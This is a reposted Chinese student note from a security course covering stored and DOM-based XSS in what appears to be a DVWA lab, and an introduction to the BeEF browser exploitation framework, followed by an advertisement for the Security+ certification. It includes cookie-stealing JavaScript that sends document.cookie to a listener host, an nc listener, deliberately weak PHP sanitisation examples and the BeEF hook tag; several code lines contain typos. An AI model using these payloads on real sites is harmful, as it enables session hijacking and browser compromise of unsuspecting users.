安全牛学员笔记存储型XSS和BEEF浏览器攻击框架

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全牛学员笔记存储型XSS和BEEF浏览器攻击框架相关的知识,希望对你有一定的参考价值。

存储型XSS                                                             

    长期存储于服务器端                                                

    每次用于访问都会被执行javascript脚本                              

Name:客户端表单长度限制                                               

    客户端、截断代理                                                  

<script src=http://1.1.1.1/a.js></script>                             

a.js源码                                                              

    var img = new Image();                                            

    img.src = "http://1.1.1.1:88/cookies.php?cookie="+documnet.cookie;

[email protected]:~# netstat -pantu | grep 80

tcp        0      0 127.0.0.1:80            0.0.0.0:*         LISTEN       771/gsad

tcp        0      0 192.168.1.102:34212     140.98.195.27.80  ESTABLISHED  2840/wget

tcp6       0      127.0.0.1:8080            :::*              LISTEN       2387/java

[email protected]:~# kill 771

[email protected]:~# service apache2 start

[email protected]:~# cd /var/www/html/

[email protected]:/var/www/html# gedit a.js

var img = new Image();

img.src = "http://192.168.1.102:88/cookies.php?cookie="+documnet.cookie;

[email protected]:~# nc -nlvp 88

----------------------------------------------------------------------

低安全代码

<?php

if(isset($_POST['btnSign']))

{

    $message = trim($_POST['mixMessage']);

    $name    = trim($_POST['txtName]);

    // Sanitize message input

    $message = stripslashes($message);

    $message = mysql_real_escape_string($message);

    // Sanitize name input

    $name = mysql_real_escape_string($name);

    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>

---------------------------------------------------------------------------

中安全代码

<?php

if(isset($_POST['btnSign']))

{

    $message = trim($_POST['mixMessage']);

    $name    = trim($_POST['txtName]);

    // Sanitize message input

    $message = trim(strip_tags(addslashed($message)));

    $message = mysql_real_escape_string($message);

    $message = htmlspecialchars($message);

    // Sanitize name input

    $name = str_replace('<script>','',$name);

    $name = mysql_real_escape_string($name);

    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>

----------------------------------------------------------------------------------

高安全代码

<?php

if(isset($_POST['btnSign']))

{

    $message = trim($_POST['mixMessage']);

    $name    = trim($_POST['txtName]);

    // Sanitize message input

    $message = stripslashes($message);

    $message = mysql_real_escape_string($message);

    $message = htmlspecialchars($message);

    // Sanitize name input

    $name = str_replace('<script>','',$name);

    $name = mysql_real_escape_string($name);

    $name = htmlspecialchars($name);

    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>

----------------------------------------------------------------------------------

XSS                                                 

DOM型XSS                                           

    一套JS和其他语言可调用的标准的API              

Page                 Document objedct               

Element1             Obj1                           

Element2             Obj2  ┌Properties─Value┬Get 

                           │                 └Set 

Element3             Obj3─┼Methods─Action┬Add   

                           │               └Del   

                           └Event               

XSS                                                                       

DOM型XSS                                                                  

    <script>var                                                           

    img=document.createElememt("img");img.src="http://192.168.1.102:88/log

    ?"+escape(document.cookie);</script>

[email protected]:~# vi 1

<script>var img=document.createElememt("img");img.src="http://192.168.1.102:88/log?"+escape(document.cookie);</script>

[email protected]:~# nc -nlvp 88

BEEF                                                

浏览器攻击面                                        

    应用普遍转移到B/S架构,浏览器成为统一客户端程序 

    结合社会工程学方法对浏览器进行攻击              

    攻击浏览器用户                                  

    通过注入的JS脚本,利用浏览器攻击其他网站       

Beff(Brower exploitation framework)                 

    生成、交付palyload                              

    Ruby语言编写                                    

    服务器端:管理hooked客户端                      

    客户端:运行与客户端浏览器的Javascript脚本(hook)

BEEF                                

攻击手段                            

    利用网站xss漏洞实现攻击         

    诱使客户端访问含有hook的伪造站点

    结合中介人攻击注入hook脚本      

常见用途                            

    键盘记录器                      

    网盘扫描                        

    浏览器信息收集                

    绑定shell                       

    与metasploit集成

BEEF                                                                                          

演示页面:http://<IP_BeEF_Server>:3000/demos/basic.html        

Details:                                                        

    浏览器、插件版本信息;操作系统信息                         

Logs:                                                           

    浏览器工作:焦点变化、鼠标点击、信息输入                    

Commands:命令模块                                              

    绿色模块:表示模块适合目标浏览器,并且执行结果被客户端不可见

    红色模块:表示模块不适用于当前用户,有些红色模块也可正常执行

    橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)   

    灰色模块:模块末在目标浏览器上测试过      

beef xss framework

[*] Please wait as BeEF services are started.

[*] You might need to refresh your browser once it opens.

[*] UI URL: http://127.0.0.1:3000/ui/panel

[*] Hook: <script src="http://<IP>:3000/hook.js"></script>

[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

192.168.1.102:3000/hook.js

BEEF            

主要模块        

    Browsers    

    Exploits    

    Host        

    Persistence 

    Network

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂


Security+认证为什么是互联网+时代最火爆的认证?

      牛妹先给大家介绍一下Security+


        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。


以上是关于安全牛学员笔记存储型XSS和BEEF浏览器攻击框架的主要内容,如果未能解决你的问题,请参考以下文章

安全牛学习笔记反射型XSS攻击漏洞的原理及解决办法

基于Beef-XSS+Sunny-Ngrok进行内网安全测试

Beef xss神器

安全牛学习笔记XSS-简介跨站脚本检测和常见的攻击利用手段

安全牛学习笔记存储型XSS漏洞原理及修复方法

web安全防范策略